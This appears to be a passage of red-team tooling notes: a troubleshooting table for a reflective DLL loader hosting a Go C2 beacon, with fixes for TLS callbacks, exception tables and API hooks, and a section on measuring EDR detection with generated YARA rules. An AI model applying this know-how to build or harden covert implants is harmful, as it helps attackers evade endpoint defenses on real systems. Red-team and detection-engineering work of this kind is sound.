| Process runs ~200 s then exits code 1, zero TCP connections | `.pdata` not registered → `RtlLookupFunctionEntry` returns NULL for all beacon addresses → goroutine stack can't grow → connection goroutine panics | `NTDLL$RtlAddFunctionTable` must be called in `loader.c` before `DllMain` |
| Process exits immediately, no network activity | `StartW` not called — all three data-directory lookups returned zero because code was reading headers from `dll_dst` (which has no headers; Crystal Palace `LoadSections` only maps sections) | Use `GetDataDirectory(&dll_data, entry)` everywhere; save `export_rva` before `VirtualFree(dll_src)` |
| CGO / CRT crashes before any network activity | TLS callback[0] (CRT `_initterm`) never called | Walk `IMAGE_DIRECTORY_ENTRY_TLS` before `DllMain`; get RVA from `GetDataDirectory`, not from `dll_dst` |
| Crash in beacon goroutine shortly after start | `_ExitThread` hook frees `dll_dst` while beacon is running | Remove `cleanup_memory` from `_ExitThread` in `pico.c` |
| Random crashes when beacon sleeps | `_Sleep` hook XOR-masks all DLL sections while Go goroutines on other threads keep executing | Remove `mask_memory` calls from `_Sleep` in `pico.c` |
| `VirtualAlloc` / `VirtualFree` / `VirtualProtect` infinite loop | Fallback inside hook used `KERNEL32$Foo` which is rewritten to `_Foo` by `loader.spec` `attach` directive | Use `KERNELBASE$Foo` as fallback (KERNELBASE is not in any `attach` list) |
### 2.8 Iteration: measure detection
- Re-enable Defender / EDR before subsequent tests
- Use `external/crystalpalace/dist/link ... -g out.yar` to generate YARA rules against your build, useful for guessing the EDR signature surface